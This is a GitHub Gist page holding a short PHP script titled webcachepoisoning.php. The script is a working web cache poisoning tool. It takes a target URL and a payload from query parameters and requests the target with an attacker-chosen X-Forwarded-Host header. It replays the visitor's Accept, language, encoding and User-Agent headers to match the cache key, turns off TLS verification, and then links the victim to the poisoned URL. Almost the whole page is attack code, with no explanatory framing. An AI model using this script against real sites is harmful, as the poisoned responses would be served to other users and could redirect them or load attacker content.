Last active
June 17, 2024 04:05
-
-
Save BlackFan/5e049a66e97c12a1a6fcfad0d4cbba08 to your computer and use it in GitHub Desktop.
webcachepoisoning.php
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<?php | |
$attack_url = $_GET['url']; | |
$payload = $_GET['payload']; | |
$ch = curl_init(); | |
if(isset($_SERVER['HTTP_ACCEPT'])) { | |
$headers[] = 'Accept: '.$_SERVER['HTTP_ACCEPT']; | |
} | |
if(isset($_SERVER['HTTP_ACCEPT_LANGUAGE'])) { | |
$headers[] = 'Accept-Language: '.$_SERVER['HTTP_ACCEPT_LANGUAGE']; | |
} | |
if(isset($_SERVER['HTTP_ACCEPT_ENCODING'])) { | |
$headers[] = 'Accept-Encoding: '.$_SERVER['HTTP_ACCEPT_ENCODING']; | |
} | |
if(isset($_SERVER['HTTP_USER_AGENT'])) { | |
curl_setopt($ch, CURLOPT_USERAGENT, $_SERVER['HTTP_USER_AGENT']); | |
} | |
$headers[] = 'X-Forwarded-Host: '.$payload; | |
curl_setopt($ch, CURLOPT_URL, $attack_url); | |
curl_setopt($ch, CURLOPT_RETURNTRANSFER, TRUE); | |
curl_setopt($ch, CURLOPT_HEADER, TRUE); | |
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, FALSE); | |
curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 10); | |
curl_setopt($ch, CURLOPT_TIMEOUT, 10); | |
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, FALSE); | |
curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, FALSE); | |
curl_setopt($ch, CURLINFO_HEADER_OUT, TRUE); | |
curl_setopt($ch, CURLOPT_PATH_AS_IS, TRUE); | |
curl_setopt($ch, CURLOPT_HTTPHEADER, $headers); | |
curl_exec($ch); | |
curl_close($ch); | |
?> | |
<body> | |
<div>Open URL <a target="_blank" href="<?php echo htmlspecialchars($attack_url); ?>"><?php echo htmlspecialchars($attack_url); ?></a></div> | |
</body> |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment